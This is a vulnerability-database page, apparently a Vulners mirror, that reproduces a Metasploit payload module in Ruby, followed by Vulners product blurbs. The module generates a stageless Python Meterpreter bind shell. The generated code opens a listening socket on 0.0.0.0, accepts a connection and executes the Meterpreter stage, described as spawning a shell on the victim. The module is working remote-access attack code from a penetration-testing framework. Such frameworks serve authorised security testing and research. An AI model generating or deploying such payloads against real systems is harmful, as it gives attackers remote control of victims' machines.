Lucene search
+L

Python Meterpreter Shell, Bind TCP Inline

🗓️ 21 Aug 2017 00:03:53Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 57 Views

Python Meterpreter Shell, Bind TCP Inline, Connect to victim and spawn a Meterpreter shel

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Payload::Python
  include Msf::Payload::Python::BindTcp
  include Msf::Payload::Python::MeterpreterLoader

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Python Meterpreter Shell, Bind TCP Inline',
      'Description' => 'Connect to the victim and spawn a Meterpreter shell',
      'Author'      => 'Spencer McIntyre',
      'License'     => MSF_LICENSE,
      'Platform'    => 'python',
      'Arch'        => ARCH_PYTHON,
      'Handler'     => Msf::Handler::BindTcp,
      'Session'     => Msf::Sessions::Meterpreter_Python_Python
    ))
  end

  def generate_bind_tcp(opts={})
    socket_setup  = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
    socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"
    socket_setup << "bind_sock.listen(1)\n"
    socket_setup << "s, address = bind_sock.accept()\n"
    opts[:stageless_tcp_socket_setup] = socket_setup
    opts[:stageless] = true

    met = stage_meterpreter(opts)
    py_create_exec_stub(met)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation